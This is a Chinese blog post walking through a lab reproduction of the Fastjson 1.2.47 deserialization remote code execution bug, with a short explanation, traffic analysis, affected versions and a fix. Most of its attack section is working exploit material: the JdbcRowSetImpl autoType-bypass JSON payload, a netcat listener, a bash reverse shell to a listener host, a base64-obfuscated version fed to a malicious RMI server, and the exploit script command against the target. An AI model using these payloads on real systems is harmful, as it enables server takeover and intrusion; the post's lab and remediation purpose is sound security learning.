zoukankan      html  css  js  c++  java
  • Fastjson远程代码执行漏洞复现

    fastjson漏洞简介

    Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

    fastjson漏洞原理

    先来分析fastjson 1.2.47的POC

    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "rmi://x.x.x.x:8080/Exphub", 
            "autoCommit": true
        }
    }
    

    对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
    loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
    该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
    若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)
    除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

    详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE

    Fastjson漏洞环境搭建

    • 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
    • 主机B含有恶意java类 IP地址192.168.2.102
    • 主机C含有RMI服务 IP地址192.168.2.102
    • 接收反弹shell-kali-linux IP地址192.168.2.103

    主机A搭建含有fastjson1.2.47-rce漏洞环境

    Fastjson漏洞环境复现

    工具下载

    fastjson_tool.jar
    fastjson-1.2.47_rce.py
    

    反弹shell

    • kali-linux执行nc监听6666端口
    nc -lvp 6666
    

    • 主机B开启RMI服务,加载远程恶意java类
    bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
    java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
    

    • 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
    python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object
    

    • 反弹shell成功

    fastjson漏洞攻击流量分析

    • 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

    • 流量可以看到远程调用成功执行Object.class恶意类

    • 执行命令服务器返回的信息

    fastjson漏洞影响版本

    • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
    • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
    • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
    • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
    • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
    • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
    • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
    • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞

    fastjson漏洞修复措施

    升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施

    fastjson漏洞参考链接

    cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞
    阿里fastjson漏洞公告
    Fastjson 1.2.24-1.2.47全漏洞RCE

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!

  • 相关阅读:
    如何手动同步 Chrome 浏览器的数据
    如何释放 Windows 10 系统的 C 盘空间
    Foxmail
    常用 Git 命令
    常用的 .gitignore 模板
    MySQL InnoDB Engine--数据页存储和INSERT操作
    MySQL InnoDB Engine--数据页存储和ALTER TABLE操作
    MySQL InnoDB Engine--数据页存储
    MySQL Index--BAK和MRR演示
    MySQL Execute Plan--Index Merge特性
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13033723.html
Copyright © 2011-2022 走看看